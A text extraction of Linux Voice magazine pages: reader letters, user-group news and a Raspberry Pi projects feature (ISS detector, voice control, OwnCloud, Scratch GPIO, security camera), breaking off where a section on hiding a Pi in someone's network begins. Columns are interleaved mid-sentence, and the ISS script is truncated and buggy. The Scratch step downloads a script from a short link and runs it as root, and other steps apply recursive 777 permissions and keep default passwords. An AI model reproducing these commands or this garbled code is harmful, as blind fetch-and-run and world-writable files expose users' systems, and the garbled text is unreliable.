            made such an impression that we’ve       Readers, what do you think?



            THERE’S A PLACE FOR US
            Thanks very much to Liz Hardwick         source and hosted and developed
            for mentioning my talk at                on Debian and Ubuntu at http://
            Manchester Girl Geeks Barcamp            opentechcalendar.co.uk . It’s our
            as one of her personal favourites        2nd birthday in July and we’re
            (LV005 LUGs on tour) – however           looking forwards to the next year.
            I should maybe be less shy about           Hopefully see you at a tech
            what the name of my project is! It’s     event around the UK soon,
            Open Tech Calendar – we list tech        James Baster, Edinburgh
            events around the UK. Anyone can
            add events, all edits are versioned      Graham says: Open Tech Calendar, so
            for safety like a wiki and our open      good we’ve mentioned it twice. Turn
            data is already reused by many           to page 16 for more on this brilliantly
            others. To top it all off, we’re open    simple idea.




                                                                    Find tech events in
                                                                    Leeds and further
                                                                    afield with Open Tech
                                                                    Calendar.



14
                                                                                                                                           MAIL



NOM DE MINT                                                                                                                     This machine is
                                                                                                                                proclaiming to all and
I don’t like the fact that my freshly                                                                                           sundry that there’s a
installed Mint 16 system lists all of                                                                                           user called Andrew, so
the non system users at the login                                                                                               crackers have one thing
screen. This seems a little insecure                                                                                            less to guess – that’s
                                                                                                                                not great for security.
to me, and I prefer the users to
have to enter their own username
as well as their password.
   I know that Chris Brown did a
short piece on one occasion in
that other magazine, which told
me how to get rid of this on my
previous Mint install but I have
forgotten how to do it. It was a
very simple tweak – all the stuff
on the web seems much more
complicated.
   Can anyone help or even, now
that he is writing for you as well,
ask Chris Brown to write the
piece again. I have just become a          Window. This gives you a dialog with        a terminal, type sudo caja and your
subscriber by the way – keep up            three tabs, which purports to be the        root password to open a new file
the excellent work.                        login window preferences manager.           brower window as root, then navigate
John Paton                                 However, it turns out that this just lets   to etc/mdm/mdm.conf. Click to open
                                           you change superficial things (like         the file as root in Pluma, Mint’s text
Andrew says: Thanks for subscribing        the way we’ve changed the welcome           editor, and in the [greeter] section
John – we appreciate it. To add an         message to ‘Enter, stranger’).              of the configuration file, add the
extra bit of security to your Mint login      To do what you ask, you have to          line Exclude=Andrew. Restart your
screen, you would think that you could     open up the configuration file of           machine, and where the login used to
just go to Administration > Login          MDM, the Mint Display Manager. In           say Andrew, it will now say ‘nobody’.



DIGITAL LV
A couple of months ago there was
a letter about online subscriptions
and taking advantage of the apps
we have on tablets these days.
There are better ways to read the
mag than a PDF viewer!
   An experience I would like to
relate: I recently decided to ditch
the paper and take an online
subscription to a magazine. I was
given a variety of subscription            (Amazon/Apple) subscriber you               Voice, no matter whether that’s          If someone else controls
methods; none were PDF-related,            don’t get make it that far. So, I am        print or digital, it’s yours. There is   what you can do with a
                                                                                                                                book or magazine that
and the best for me seemed to be           renting the magazine in question,           no question of us introducing DRM,
                                                                                                                                you’ve bought, you don’t
Google Play Newsstand, so I took           but only as long as I have the              nor of us restricting what device you
                                                                                                                                really own it, and that’s
that option.                               relevant device handy.                      choose to read it on. The current        not fair.
   The “newsstand” experience                 Now I am quite confident you             dispute between Hachette and
makes electronically reading the           folks will do the right thing by the        Amazon over DRM and ebooks is
magazine a pleasure. However, I            subscriber and provide the best             fascinating, but what’s more amazing
normally store electronic copies           service possible. Still, I thought it       to us that it ever reached the current
on my server. When I looked for            was worth mentioning the pitfalls           state in the first place – DRM is, and
the “download” button, errr, there         before the pit opens up                     has always been, a Very Bad Idea,
wasn’t one. This ain’t a PDF.              Tim Lloyd                                   so we can’t really sympathise with
   How about the subscribers’                                                          publishers who are finding themselves
section? Well, as a Google                 Graham says: If you’ve bought Linux         caught out by this practice.



                                                                   www.linuxvoice.com                                                                 15
     LUGS ON TOUR




LUGS ON TOUR
PHP Day & JavaScript Day
Cesare d’Amico on the irresistible rise of PHP in Italy.


P
          HP Day is an international    purpose, again, was to help
          conference about the PHP      developers grow, making the
          programming language; it      conference accessible to everyone.
was born in 2003 as a one-day           This led to several problems, so in
conference, as a means of               2009 we made the big change,
gathering the scattered Italian PHP     asking people to buy a ticket to see
community. It’s always been a           the conference. Many left us, but
community conference, with the          many more came.
purpose of helping developers              All in all it was a really good move
improve their skills and knowledge.     since the conference has improved
Over the years, the conference has      a lot! We can now offer lunch, coffee
grown to a two-day conference with      breaks and a social night where
two tracks of talks and one track of    pizza, pasta and beer are free for all
workshops, with speakers coming         the attendees, who now have a
from all over the world to talk about   great opportunity to get to know
the latest technologies and             more people. We also have a big
methodologies in the PHP world.         aperitif with Aperol spritz before the
Past speakers include Rasmus            social nights: as the phpDay T-shirts
Lerdorf, Zeev Suraski, Lorna            say, “in Spritz we trust”.
Mitchell, Derick Rethans, Sebastian        The conference should be fun,          Verona was a Roman trade centre. They also left an amphitheatre,
Bergmann and many more                  and we try our best to create             which today hosts opera performances (not shown).
influencers.                            informal moments, but in order to
   Initially we targeted students,      make sure that everyone has fun we                                   more and more Italian developers,
amateurs and professionals alike;       delivered a code of conduct that                                     and now it has more than 300
that was because the community in       everyone is expected to follow. This                                 associates.
Italy at the time was scattered         can be summarised in two words:                                         During the last five years, the
among various packages (phpNuke,        “respect everyone”.                                                  main focus of GrUSP, apart from
Drupal, Joomla etc) and a real PHP         In 2011 jsDay was born as the                                     organizing phpDay and jsDay, has
community simply didn’t exist.          “JS track” of that year’s phpDay: the                                been to create local PHP user
Conference after conference, we’ve      response was so big that since                                       groups around Italy, and help them
seen the number of developers           2012 jsDay has become a full                                         run smaller one-day conferences in
increase, so we also raised the level   conference completely focused on                                     Italian. Many PUGs have popped up,
of the talks. To open the Italian       JavaScript and related                                               and we currently have around 10
community to Europe and to the          technologies: web performances,                                      groups all across Italy. All those
world, we also began to accept talks    methodologies, server side                                           groups have helped organise a great
in English, moving from 30% in          technologies, testing, wrapper                                       number of conferences in the last
2009 to 70% in 2011; since 2012,        languages and all the new and                                        couple of years, including Symfony
we only accept talks in English. We     exciting faces that JavaScript has                                   day, ZF day, WP day, Mage day,
also always accept new speakers, ie     taken over the years.                                                NoSQL day and more.
at their first experience in an
international conference, to help the   GrUSP                                                                   TELL US ABOUT YOUR LUG!
Italian and European community          GrUSP is a non-profit association
grow. We also try to invite the most    that was born in 2004; it was                                           We want to know more about your
diverse speaker panel possible.         founded to support the organisation                                     LUG or hackspace, so please write
                                                                                                                to us at lugs@linuxvoice.com and
   Another important change             of phpDay and made a presentation
                                                                                                                we might send one of our roving
happened in 2009: until 2008 the        to the phpDay attendees in October                                      reporters to your next LUG meeting
conference was free (as in beer): the   2004. Over the years it has attracted



16                                                            www.linuxvoice.com
                                                                                                                                LUGS NEWS



Open Tech Calendar 2nd birthday party
James Baster shares a development that could help us all.


E
        dinburgh-based website              Outdoors.
        Open Tech Calendar lists            A calendar listing Jazz events
        technology events, and is           (JazzCal).
going to be two years old on 24 July        A calendar of cycling events.
2014. It’s had a brilliant two years,       We will shortly announce a
listing more than 1,500 events from         calendar of civil rights events.
Aberdeen to Manchester, London to           Kirstin Leath, of NHS Hack
Norway and attracting 92,000 page       Scotland, said: “Open Tech Calendar
views.                                  is fantastic! It makes organising,
   The site lets anyone sign up         advertising and finding tech events
to add or edit events using the         so easy. ”
same model as Wikipedia, and                Al Bennet from Edinburgh
thus relies on people adding            Hacklab said “Open Tech Calendar
events themselves. So far over          is a great way to find tech events
360 people have signed up. Open         in Edinburgh. We’ve found many
Tech Calendar has embraced the          interesting events to attend through
principle of open data, allowing        it. We switched to putting Hacklab
anyone to use the events data they      events on OTC earlier this year
have collected and providing open       rather than on a shared Google
APIs to make this possible.             Calendar, as OTC allows any of us                                                       The Peartree pub in
   In January this year the engine      to put an event online in our group.     using the OTC WordPress widget on              Edinburgh’s wonderful
behind the site was made available      This has made it much easier to          our site, so all our events appear on          beer garden will play
to other communities to use. This       manage rather than having only a         our site with no effort.”                      host to Open Tech
                                                                                                                                Calendar’s birthday
is offered through a platform at        few people managing the Google              The birthday will be celebrated in
                                                                                                                                celebrations, on
https://ican.hasacalendar.co.uk         Calendar. The wiki-style editing of      the Pear Tree to which the local tech
                                                                                                                                Thursday 24 July.
and made available as an open           OTC really helps as it’s easy to throw   community is invited:
source product at http://ican.          an event on when we’re early in the      http://opentechcalendar.co.uk/
openacalendar.org. This has been        planning and then others can easily      event/1457-open-tech-calendars-
used by:                                refine the listing later on when we      2nd-birthday
   Edinburgh Council for Edinburgh      have more information to add. We’re       http://opentechcalendar.co.uk



Bristol and Bath LUG
Bristol’s more than just cider and bridges, claims Ben Everard.


T
          he Bristol and Bath LUG       engineering, it’s now a digital
          meet at the Knights Templar   powerhouse. A recent McKinsey
          pub next to Temple Meads      report singled out Bristol and Bath
railway station on the last Saturday    as a globally significant technology
of the month. Both pub and station      cluster because of the network of
are named after an oval Knights         tech companies working there.
Templar church that once stood             It’s hardly surprising, then, that
nearby. The church was destroyed        the region has produced a thriving
after the order was suppressed in       Linux community. The Bristol
1312, and a rectangular church was      and Bath Linux User Group has
built where it once stood. Much of      links with the Bristol Hackspace,
this later church remains, but it was   and brings together a diverse
put out of use by a German bomb         crowd of geeks. We joined them
during the Second World War.            for their June meet up where we
   Bristol, though, is more famous      discussed BeagleBones, Raspberry
for its technology than its religion.   Pis, Arduinos, old-fashioned
Previously the home of Isambard         programming and the advantages           If you’re in the south west of England and fancy joining some
Kingdom Brunel and the location         and disadvantages of cover               other Linux users for a few drinks and a natter, you’ll find all their
for some of the greatest Victorian      mounted DVDs.                            details at www.bristol.lug.org.uk.



                                                             www.linuxvoice.com                                                                           17
     FEATURE 8 RASPBERRY PI PROJECTS




                 RASPBERRY PI PROJECTS
                                                                 8
                 T
                         he Raspberry Pi has been a breath of fresh           which shows one of the woderful thigs about
                         air for tinkerers, teachers and anyone               Linux: that it’s scalable and flexible.
                         interested in finding out how computers                But there’s something magical about the Pi that
                 really work.                                                 makes it feel like a diferent proposition to a
                   On the one hand, it’s just a Linux box. There’s            standard Dell box. There’s a spirit of adventure to it,
                 nothing you can do on a Raspberry Pi that you                a sense that you can have a go and do anything –
                 can’t do with any other Linux machine, so there’s            and that’s what we want to capture over these
                 nothing special about any of the projects here               eight pages. So without further ado, we want you




1
                 – you can follow the same set of instructions on             to get stuck into these eight projects. Carry on –
                 your x86 box and get exactly the same result,                and let us know what amazing things you build!




International Space Station detector
Get a warm fuzzy glow from your Linux box whenever the ISS is near.

F
         or our first project we’re going to turn      As we’re dealing with orbital data that’s         through a third-party web API. This means
         our Raspberry Pi (or any other Linux       constantly changing, as well as very complex         we don’t have to make any calculations
         device) into an ISS detector by writing    astronomical calculations, creating an ISS           ourselves, or worry about any orbital
a very basic Python script. When it senses          detector might initially seem challenging. But       mechanics. The API call simply returns the
that the space station is close, it creates a       this isn’t as difficult as it first seems. Despite   latitude and longitude of the ISS’s current
signal of some kind. We’ll start out with text      the task requiring some serious                      position. In the Python code that follows,
output, but this can be augmented in any            mathematical knowledge, we can wield the             this is parsed using JSON, a widely used
way you choose.                                                                                                    format for sharing data that’s
   There are more output options for
the Raspberry Pi than we could list,       “We can wield the power of open                                         perfect for interoperability.
                                                                                                                      We’ve called the third function
but at its simplest you could light a      source and the internet to build on                                     in our script sph_dist and it was
single LED, or pulse a couple of LEDs
depending on distance. It’s an idea        solutions created by other people.”                                     originally written by John Cook.
                                                                                                                   Using Python’s math module, this
that’s been around for a while.There                                                                               calculates the distance between
was a Gnome panel applet, for example,              power of open source and the internet to             two points on a sphere, taking the two sets
that performed a similar task, and earlier          build on solutions created by other people.          of latitude and longitude as its input. This is
this year a Kickstarter project turned a            You’ll find the code below, but before copying       exactly what we need, because the ISS-
Raspberry Pi into an ISS beacon. Sadly, the         and pasting into your favourite text editor,         locating function returns compatible values,
code for this project is unlikely to be released    we’ll explain what it’s doing.                       and it’s easy to define your own location by
in its entirety, so we’re going to have to come       The first chunk of code comes from Alex            searching for the latitude and longitude. The
up with our own solution.                           Bartis, and it accesses ISS location data            final ‘arc’ value needs to be multiplied by the



18                                                               www.linuxvoice.com
                                                                                                 8 RASPBERRY PI PROJECTS FEATURE

radius of the Earth in your chosen unit. Our              World”, but it’s perfectly suited to our needs
unit is miles, so we multiply the answer by               and can easily be expanded. A single LED
3,960, but if you want kilometres, multiply               circuit needs nothing more the an LED itself,
this by 6,373 instead. This function is                   a 270Ω resistor (this is important) and a
assuming the Earth is completely spherical                couple of wires. The circuit connects one of
– there is a 0.3% difference between                      the GPIO pins on the Raspberry Pi through
equatorial and polar diameters, but we’re                 the long leg of the LED, as this is the positive
happy to live with this error.                            side, with the resistor going between the
                                                          short leg of the LED and the GND, or 0V, pin
Follow the space station                                  back on the Raspberry Pi. Our Python script
All the script then does is output the location           will then send a message to the GPIO pin
of the ISS followed by the distance from the              that will send 3.3 volts through the circuit,          The International Space Station yesterday.
location entered into the home location at                lighting the LED. As the whole point of this
the top. We could have automated that part,               project is to light the LED when the ISS is in
but it would add to the complexity and the                relatively close proximity, we’ll use the              connected our LED to:
amount of code we’d have to print – and                   distance value to check whether the ISS is             GPIO.setmode(GPIO.BOARD)
anyway, it’s a challenge for anyone who                   less than 200 miles away.                              GPIO.setup(12, GPIO.OUT)
wants to add their own mark to the script.                   To bring GPIO functionality into Python,               Now all we need to do is add the distance
When you’ve added the following to a text                 add the RPi.GPIO module to the top of the              check, which we’re going to add to the above
file, it can be executed by typing python                 script – we do this ‘as GPIO’ so we don’t have         script immediately after the distance =
followed by the script’s filename.                        to refer to the entire module name through             sph_dist call and before printCoordinates.
import urllib, json, threading, math                      our code. Here’s what ours looks like:                 All this code is doing is sending a positive
url= “https://api.wheretheiss.at/v1/satellites/25544”     import urllib, json, threading, math, RPi.GPIO as      value to the GPIO pin if the distance is less
home_lat = 51.4353                                        GPIO                                                   than 400, and sending a negative value if the
home_long = 2.0043                                           Below this we need to initialise our GPIO           distance is greater. We chose 400 because
def work(home_lat, home_long):                            connection, and this is where we need                  this should mean the ISS is visible around
      response = urllib.urlopen(url)                      to define which pin we’re using. GPIO pin              40 degrees above the horizon.
      data = json.loads(response.read())                  numbers don’t always correspond exactly to                 if distance < 400:
      iss_lat = data[‘latitude’]                          those on the board, because the Raspberry                        GPIO.output(12,True)
      iss_long = data[‘longitude’]                        Pi doesn’t reveal all potential outputs, and               else:
      distance = sph_dist(home_lat, home_long, iss_       that GPIO numbering is often derived from                        GPIO.output(12,False)
lat, iss_long)                                            the pin numbers on the microcontroller                   All that’s left now is to save the script and
      printCoordinates(distance, home_lat, home_          rather than the pins present on the circuit            run it. For space, our script is pretty crude,
long, iss_lat, iss_long)                                  board.                                                 but it does work. It should really have a more
      threading.Timer(30, work(home_lat, home_               This problem is solved by setting the GPIO          graceful way of quitting other than Ctrl+C, as
long)).start()                                            mode to the pins, rather than of the chip,             we should execute GPIO.cleanup() to close
def printCoordinates(distance, home_lat, home_long,       and we follow this command by initialising             our connection to the GPIO pins, but this
iss_lat, iss_long):                                       pin 12 – which is the pin we’ve wired and              should be pretty easy to add.
      print “The International Space Station’s current
coordinates are “
                                                            Viewing the ISS
      print “Latitude =”,iss_lat,” “,”Longitude =”,iss_
long                                                        A few local conditions need to be satisfied if
      print “Current distance to the ISS: “,distance        you want to see the International Space Station
def sph_dist(lat1, long1, lat2, long2):                     from your location. Firstly, it may be obvious,
      degrees_to_radians = math.pi/180.0                    but all satellites are only lit by the sun. That
                                                            means that in the dead of night, they’re probably
      phi1 = (90.0 - lat1)*degrees_to_radians
                                                            veiled within the Earth’s shadow just like us.
      phi2 = (90.0 - lat2)*degrees_to_radians               They need to be lit by the sun to be visible.
      theta1 = long1*degrees_to_radians                     But as the observer needs to be in the dark,
      theta2 = long2*degrees_to_radians                     viewing time has to be within a time envelope
      cos = (math.sin(phi1)*math.sin(phi2)*math.            either directly after the sun has gone down, or
                                                            when it’s about to come up, so that the space
cos(theta1 - theta2) + math.cos(phi1)*math.c$
                                                            above you is effectively lit by the sun while the
      arc = math.acos( cos )                                ground is not. The duration of this envelope is
      return arc * 3960                                     dependent on your location and the time of the
work (home_lat, home_long)                                  year, but it’s usually a couple of hours. Thanks
We left any Raspberry Pi-specific code out                  to its large solar panels, the ISS is usually
                                                            impossible to miss if you get the time right. It
until now, so it could be used in as many                   can often be the brightest object in the sky and
places as possible, but now we’re going to                  will normally take several minutes to progress
add a new function that will simply light an                from one side of the sky to the other. It’s a       Use one of the real-time trackers online to test
LED. This is probably the simplest circuit you              wonderful object to look out for.                   your own Raspberry Pi ISS detector
can build – the hardware equivalent to “Hello



                                                                        www.linuxvoice.com                                                                         19
     FEATURE 8 RASPBERRY PI PROJECTS




2
Voice Operated Pi
Open the pod bay doors, HAL.


W
             e’ve wanted to write something
             about Linux voice recognition
             since we began the magazine,
simply to cause search engines even more
confusion when people search for ‘linux
voice’, and this excellent project has given us
the perfect excuse. Jasper is an ambitious
plan to control everything with your voice, in
a similar way that you can through Android
and iOS – except that Jasper is open source
and easily extensible. By default, it will check
your email, send you text messages and tell
you the weather, but it can be easily added
to. And as it works best with a machine
that’s always on and always listening, the
Raspberry Pi makes the perfect platform.
   You’ll need some speakers or headphones
connected to your Pi to hear Jasper’s output,
and as the Pi has no microphone input, the
only other requirement is for a USB
microphone of your own. These can be                 You’ll need a microphone for the voice recognition to work, and we’d recommend checking the
bought cheaply, but we did have trouble              compatibility list at elinux.org.
finding one that worked without further
configuration. The project itself                      When your Pi comes back online, connect          the boot procedure again by typing python
recommends the Kinobo USB 2.0 ‘Akiro’                again and execute the following:                   ~/jasper/boot/boot.py and restarting. You
microphone, which costs around $25, but              cd ~/jasper/client                                 may also want to make sure your mic is
we ended up with a generic model costing             python populate.py                                 recording and playback is working. You can
less than $10. The easiest installation                You’ll be asked for your name and then           do this by first making a recording and then
method is to grab the Jasper card image              you’ll be asked for your Gmail address,            playing it back with the following:
from http://jasperproject.github.io and              which is used to send you notifications. Your      arecord -Dhw:0 -r 44100 -c 2 -f S16_LE test.wav
transfer this to your SD card using your             password is going to be stored in plain text,      aplay -Dhw:1 -r 44100 -c 2 -f S16_LE test.wav
preferred method before booting off this             and you may not want to trust the packages            If either of these commands don’t work,
with your Pi. You then need to connect to            you’ve just installed. You’ll also be asked for    you’ll need to manually configure .asoundrc
your Pi over SSH using the default                   your mobile number for notifications, the          using the output from aplay -L and arecord
credentials of pi as the username and                name of your nearest large town (for               -L to specify the exact device names for
                                                                                                        your speakers and microphone.
“With a bit of luck you should hear the sounds of                                                          However, most configurations will just
                                                                                                        work. It’s only when the USB device of the
a speech synthesizer saying ‘Hello, I am Jasper.’”                                                      microphone messes around with ALSA that
                                                                                                        trouble starts to creep in. With everything
raspberry as the password.                           weather reports) and a timezone. For us,           running, you can now start issuing
  Download the latest version of Jasper,             that’s ‘Europe/London’. You’re then asked          commands to your new Raspberry Pi
then grab and configure some essential               whether you want messages by email or              overlord. Start by saying ‘Jasper’. Your Pi will
Python tools with the following commands:            text. You can change these settings later by       output a high-pitched beep. Now say “What’s
git clone https://github.com/jasperproject/          editing a configuration file. You should then      the time?” When a command has been
jasper-client.git jasper                             restart your Pi once more.                         recognised, your Pi will issue a low beep
sudo pip install --upgrade setuptools                  With a bit of luck, a few minutes later you      before speaking the answer. Other questions
sudo pip install -r jasper/client/requirements.txt   should hear the sounds of a speech                 you can ask include “What’s on Hacker
  The boot script needs to be added to a             sythesizer saying “Hello, I am Jasper. Please      News”, “Do I have any email?” and “What’s
crontab, which you can do by typing crontab          wait one moment.” It then takes another            the weather like tomorrow?” If you want to
-e and adding @reboot /home/pi/jasper/               minute or two before everything else is read       take this further, you can play with the
boot/boot.sh; to its own line, then fix any          and you’ll get another prompt. If this doesn’t     configuration files to add Spotify playback
broken permissions with sudo chmod 777               happen – and it didn’t for us – re-connect to      integration as well as Gmail and Facebook
-R * before rebooting your Pi with sudo              your Pi and kill all Python processes (killall     support, and it’s quite straightforward to add
shutdown -r now.                                     python). Our problem was solved by running         your own commands.



20                                                               www.linuxvoice.com
3
                                                                                                8 RASPBERRY PI PROJECTS FEATURE


Run your own OwnCloud
An easy-to-install Dropbox clone where you control all the data.


S
         toring things in the cloud is
         convenient. All your data is available
         from one place, and it can be
accessed by multiple devices. But data in
the cloud is out of your control, and that has
lots of implications for privacy and security.
It’s far better, we think, to stay in control of
your own data and services, but until
relatively recently, there wasn’t an option
anywhere near as powerful as Google,
Microsoft or Apple.
    This is where OwnCloud steps in. It’s an
open source project that offers many of the
same features as Apple or Google’s cloud
offerings, only it runs on your own hardware.
Hardware like your Linux box or humble
Raspberry Pi, which is particularly well
suited as it doesn’t suck too much power.
You will need plenty of storage, however, so
                                                         If you’re setting up OwnCloud, your Raspberry Pi will need a static IP address and you’ll need to
we’d recommend the use of an external USB
                                                         forward web requests to this from your firewall/router.
drive (see box on Network Attached Storage,
below). OwnCloud itself runs on Apache and
PHP, which can be installed with the                     server with sudo mv owncloud /var/www                   address of your Pi followed by ‘owncloud’:
following commands:                                      before making sure the new files have the               http://192.168.1.111/owncloud/ for
sudo apt-get install apache2 php5 php5-gd                correct permissions for their new location:             example. The landing page should open and
php-xml-parser php5-intl php5-sqlite php5-mysql          sudo chown -R www-data:www-data /var/                   ask you to create an admin account.
smbclient curl libcurl3 php5-curl                        www/. To give OwnCloud full control of its                 Using OwnCloud is straightforward. When
   You can then install OwnCloud directly                own directory, we need to enable ‘htaccess’             you first connect you’ll be reminded of the
from its own archive. Go to owncloud.org,                override files in Apache. To do this, open              desktop and Android clients that can
click on ‘Install’ and choose the option for             /etc/apache2/sites-enabled/000-default                  automatically sync your OwnCloud folder
your own server. Grab the Unix file (tar.bz2)            with your favourite text editor and modify              with those devices, and we’d recommend
and download it to your Pi. Unfold the                   the AllowOverride option to say All rather              using them. But from within the web
archive from the command line with tar xvf               than None in the /var/www folder                        interface, you can still drag and drop files
owncloud.tar.bz2 – this takes a surprising               (OwnCloud will give you a security warning if           and folders, create shared links and add
amount of time on your Pi – and move the                 you don’t get this correct). Now all that’s left        users and plugins from the admin page – all
resulting folder into the root of your Apache            to do is open a browser and point it at the IP          while staying in control of your data.


  Network Attached Storage Add some much needed external storage and share your files across the network.
  With OwnCloud running on your Pi, you don’t            UUID=”4c002899” /media/nas ext4 defaults 0 2            workgroup, if you have one, and add the
  particularly need a network attached storage              This will ensure that our drive is always mounted    following to create a shared folder on your
  solution, as OwnCloud and its clients will perform     at the same place with a more human-readable            external USB storage:
  most functions without any extra effort. However, if   name. You can mount this by typing mount /media/        [pi]
  you want to stream films and music, you’ll find that   nas or restarting your Pi. Move the /var/www/             comment= Raspberry Pi
  it gives you much better performance. But before       owncloud folder to your external storage and              path=/media/nas
  we install and configure this, we need to solve the    update the ownership to www-data as we did in the         browseable=Yes
  problem of additional storage. This can be done by     OwnCloud section above. Now make a symbolic link          writeable=Yes
  connecting a USB drive, but to make your storage       between the new location and the old – ln -s /            only guest=no
  area part of the overall filesystem – so that it can   media/nas/owncloud /var/www/owncloud and                  create mask=0777
  be shared across the network or used by OwnCloud       everything should work.                                   directory mask=0777
  – requires a couple of extra steps.                       To create a Samba share, create a folder on your       public=no
      Connect your pre-formatted ext4 USB drive. It      storage device and make sure it belongs to user ‘pi’.   Finally, create a Samba password for your username
  should be automatically mounted to a UUID-named        Then install samba and samba-common-bin. Type           with smbpasswd -a pi. You can now add, remove
  folder under /media. Create a nas folder in /media     sudo nano /etc/samba/smb.conf to open Samba’s           and edit files on your share remotely by using the
  and add the following line to /etc/fstab, replacing    configuration file with the Nano editor. Change the     smb://pi@pi_address URI where you’ll be asked to
  the UUID with that of your device:                     WORKGROUP name to the name of our local                 enter your password before being granted access.




                                                                      www.linuxvoice.com                                                                              21
4
     FEATURE 8 RASPBERRY PI PROJECTS


Scratch and GPIO
Use the graphical language to interact with the real world.


S
         cratch is a graphical programming
         language. This means that rather
         than type in code, you drag and drop
colourful blocks of code into place. It is a bit
limited by the range of code blocks available,
but it’s great for getting kids interested in
code. It runs on Linux, Mac and Windows,
and there’s a web-based version as well (at
http://scratch.mit.edu).
   There’s been a recent surge in interest
because it’s been adopted by the Raspberry
Pi foundation (along with Python) as a
way of unlocking the power of the Pi. It’s                                                            The first circuit simple switches the output on,
also likely to be used by many teachers in                                                            waits one second, then switches it off, then
England and Wales come the start of the                                                               waits one second and repeats.
new computing curriculum this September,
as it provides a useful bridge between                desktop. Scratch GPIO 5 (without the plus       electricity flows. The diagrams above and
speudo-code and ‘real’ programming.                   at the end) is the one we’ll use. The Scratch   below show the two different programs and
To make this work even better, there is a             GPIO 5 Plus program can be used together        how to wire them up.
modified version of Scratch that enables you          with some expansion boards (such as                LEDs have to be connected the correct
to use the additional hardware connected              Pimoroni’s Pibrella), but we’re going to go     way around. There should be a flat edge on
through the GPIO ports.                               back to basics and build our own circuits.      the circular base. This marks the negative
   To get started controlling hardware with                                                           leg. All the other components will work either
Scratch, download this modified version and           Blinkenlights                                   way around.
install it by typing the following commands           We’ll create two programs: one that just           There are a few different ways to number
into LXTerminal:                                      switches an LED on and off, and one that        the pins on the Pi, so it’s important to make
sudo wget http://goo.gl/Pthh62 -O isgh5.sh            takes two buttons as inputs and uses them       sure you are connecting the wires to the
sudo bash isgh5.sh                                    to turn the switches on and off. In order to    correct pins. If you hold the Pi with the
  This will install two new versions of               make the circuits work properly, we’ll also     SD card at the top, the top-left pin will be
Scratch and put icons for them on your                need some resistors to control the way the      number 1, the top right pin is 2. The second
                                                                                                      row down is pins 3 and 4, than 5 and 6, and
                                                                                                      so on.
“There’s been a surge in interest in Scratch, because                                                    There’s more information on how to use
it’s been adopted by the Raspberry Pi Foundation.”                                                    Scratch with the GPIOs at http://cymplecy.
                                                                                                      wordpress.com/scratchgpio.




You could use the button circuits from this project in other programs to take input from the user.



22                                                                 www.linuxvoice.com
                                                                                         8 RASPBERRY PI PROJECTS FEATURE




5
Security camera
Build a motion-activated camera and keep your buildings secure.


T
          he Raspberry Pi with a camera                   The inet addr is what we need (in this
          board is one of the cheapest ways of         case 192.168.0.11). From another computer
          building your own networked                  on the same network, you should be able to
camera system. What’s more, because the                open up a web browser and enter this in the
Pi is fully programmable, it’s one of the most         URL bar. You should see a page something
versatile ways of streaming live video.                like the image on the right.
   To do this, you’ll need one of the official            On this page, you can adjust all the
Raspberry Pi camera modules. There are                 different attributes of the camera, record
two versions available: the normal one, and            videos and take pictures (the results of
the NOIR version. The NOIR version doesn’t             which are available if you click on the
have an infrared sensor, so it captures                Download Videos and Images link – don’t
pictures better in low light conditions. Either        worry if the preview doesn’t work, you can
will work fine.                                        still download the files). What’s more, you
   Once you’ve installed your camera module            can start motion detection. When this is
(full instructions are at www.raspberrypi.             on, it will monitor the image for moving
org/help/camera-module-setup), you need                objects, and when it finds some, it’ll record a
to get the software for streaming the video            video. This is perfect for a security camera
over the network. Open up LXTerminal on                because it means you can save footage of
your Pi and enter the following commands:              things happening, but not waste disk space
git clone https://github.com/silvanmelchior/RPi_       with endless hours of nothing going on.
Cam_Web_Interface.git
cd RPi_Cam_Web_Interface                               Too much data
chmod u+x RPi_Cam_Web_Interface_Installer.sh           The standard resolution video sends quite           Without the infra-red filter, the colour is a little
./RPi_Cam_Web_Interface_Installer.sh install           a lot of data, which can cause problems for         off on the NOIR camera module, but it works
  The final command may take a little while            the Pi. We found that the motion detection          much better in low-light.
to run, but once it has, restart your Pi. It’ll        worked better at a lower resolution and
automatically start streaming, so all you              frame rate. This should be OK for a security        are as follows:
need to do is find out the IP address so               camera as high definition isn’t essential.          video_width 600
that you can get the stream from another               Another option would be to overclock your
computer. Open up LXTerminal and enter:                Pi, but this would draw more power, and             video_height 500
ifconfig                                               since it’ll be running constantly, it could
    In the output, look for the block labelled         cause it to overheat if it’s in an enclosed         video_fps 10
eth0 (if you’re using a wired lan) or wlan0            space. Moderate overclocking probably               motion_detection true
(if you’re using a Wi-Fi network). In it, there        won’t be a problem, but you have been                 The final line (it’s also the last line of
should be a line that’s something like:                warned! Large video resolutions also lead to        the config file) will start motion detection
inet addr:192.168.0.11 Bcast:192.168.0.255             large file sizes. What you’re willing to use will   automatically. Just restart your Pi and all
Mask:255.255.255.0                                     depend on the amount of storage you have            these changes will take effect.
                                                       available, and how often you want to clear it         There are loads more things you can do
                                                       out. We opted for a width of 600, a height of       with this software. Take a look at
  Keep yourself safe online                            500 and a frame rate of 10 for video.               http://elinux.org/Rpi-Cam-Web-Interface
                                                          All this is quite useful, but each time          for more information and inspiration.
  Tor is a way of staying anonymous online.
  We’ve covered it in detail in the Tutorials          the Pi restarts, it resets all these settings.
  section of this issue, so take a look there if       Ideally, we want a way of saving the default
  you haven’t heard of it before. You can use a        settings, and having these run whenever
  Raspberry Pi to create a wireless access point       the Pi is switched on. Fortunately, there is a
  that pushes all of your internet traffic onto Tor.
                                                       config file that does just this.
     Adafruit has created a starter kit with
  everything you need to do this – but all you            The config file is /etc/raspimjpeg. You
  really need is an SD card and wireless adaptor,      can open it by entering the following in
  so if you have these already, there’s no need        LXTerminal:
  to purchase it. You can still follow the Adafruit    sudo leafpad /etc/raspimjpeg
  instructions to set everything up (https://learn.
                                                         You can change this depending on how
  adafruit.com/onion-pi/overview).
     It may take a little time to run though           you want your setup to work – the best
  everything, but you’ll learn a bit about how Linux   option is to test out different settings using
  handles routing and networking along the way.        the web page, then enter them into here
                                                       when you’re happy. The lines we changed



                                                                    www.linuxvoice.com                                                                            23
     FEATURE 8 RASPBERRY PI PROJECTS




6
Hacking
A little computer is an essential part of a penetration tester’s toolbox.


T
          he Raspberry Pi is small enough to
          fit inside other devices, yet also
          powerful enough to be used as a
general-purpose hacking device. This means
it’s an excellent choice for hiding inside
someone else’s network. This is the sort of
operation that Hollywood loves. In films,
hackers are often shown turning up at some
location disguised as a maintenance crew,
sneaking some piece of hardware in, and
then compromising the computer system.
We’ll show you how to do just this with a
Raspberry Pi and a bit of ingenuity.
    The first thing you need is some housing
for the Pi that no-one would suspect. In
order for it to work, it’ll need a power supply
and a network cable. This could mean
